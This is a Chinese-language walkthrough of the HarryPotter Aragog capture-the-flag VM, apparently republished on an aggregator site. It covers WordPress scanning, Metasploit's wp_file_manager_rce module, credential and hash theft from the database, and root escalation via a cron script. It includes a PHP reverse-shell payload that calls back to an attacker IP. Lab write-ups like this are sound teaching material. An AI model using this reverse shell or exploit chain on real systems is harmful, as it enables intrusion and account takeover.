当前位置： 首页 > article >正文

harrypotter1-aragog靶机攻略

article 2025/3/13 17:35:31

harrypotter1

扫描

nmap

image-20231025101926058

指纹

image-20231025102022349

目录

image-20231025102451954

渗透

image-20231025103442496

找到了登录位置

image-20231025103749120

看到wordpress就用wpscan扫一扫

wpscan --url="http://10.4.7.153/blog" -e p --plugins-detection aggressive --api-token=d1fuMZc2tbhJWYk9VfNsl0GZlyYxkfH6bpL0pCKFhok

扫描出有这些file manager漏洞

image-20231025220100806

使用msf搜一下这个漏洞

image-20231025221347863

此处选择使用exploit/multi/http/wp_file_manager_rce

名字完全契合

配置完成后运行获取shell，注意要配置targeturi参数

使用该命令获取回显

/usr/bin/script -qc /bin/bash /dev/null

在hagrid98的家目录下发现疑似密码文件

image-20231025222219207

horcrux_{MTogUmlkRGxFJ3MgRGlBcnkgZEVzdHJvWWVkIEJ5IGhhUnJ5IGluIGNoYU1iRXIgb2YgU2VDcmV0cw==}

解码结果如图

image-20231025222356126

wordpress文件夹在etc下，进去看看发现config配置文件

得到数据库的用户信息

root:mySecr3tPass

image-20231025222603805

登入数据库

mysql -uroot -p

在wordpress数据库的wp-users表中发现用户信息

image-20231025222902096

hagrid98：$P$BYdTic1NGSb8hJbpVEMiJaAiNJDHtc.

hash-identifier识别一下密码类型

image-20231025223010406

拿去md5解密，得到

image-20231025223111380

hagrid98:password123

提权

ssh连接登录成功

image-20231025223354478

在/opt文件夹下发现脚本文件，查看内容，是将下载内容复制到tmp路径下，该脚本可能为一个定时执行的任务

将该脚本文件更改为如图内容

image-20231025224703079

进入/tmp增加一个php文件，将下面反弹命令写入

<?php $sock=fsockopen("10.4.7.138",6789);exec("/bin/sh -i <&3 >&3 2>&3");?>

image-20231025230234392

开启监听端口

image-20231025224830631

等待一会提权成功

image-20231025230039782

获取第二个

image-20231025230107184


http://www.kler.cn/a/103830.html

相关文章：

  • 软考高项-写作准备写作步骤
  • 我们在 Linux 环境中用 C 编程时，如果对文件读写，Linux 会自动给文件加锁嘛？以及怎么加文件锁？
  • Ai写作创作系统ChatGPT网站源码+图文搭建教程+支持GPT4.0+支持ai绘画（Midjourney)/支持OpenAI GPT全模型+国内AI全模型
  • 成功项目经理总结的20个项目管理经验
  • Go中原生http服务的实现方式
  • 目标检测技术概述
  • rust学习——智能指针
  • spring常见问题汇总
  • python爬虫分析基于python图书馆书目推荐数据分析与可视化
  • select distinct 语句详解
  • 勒索病毒最新变种.locked1勒索病毒来袭，如何恢复受感染的数据？
  • windows安装数据库MySQL
  • STM32 音频ADC转wav格式
  • SpringBoot 源码分析(二) 自动装配过程分析
  • 防关联浏览器推荐：MuLogin指纹浏览器安全登录多平台账号
  • SpringCloud 微服务全栈体系（二）
  • 聊聊分布式架构10——Zookeeper入门详解
  • 从一个页面跳转到目标页面之后，对应的顶部路由高亮
  • Python：实现日历到excel文档
  • HCIA --- 动态路由协议之OSPF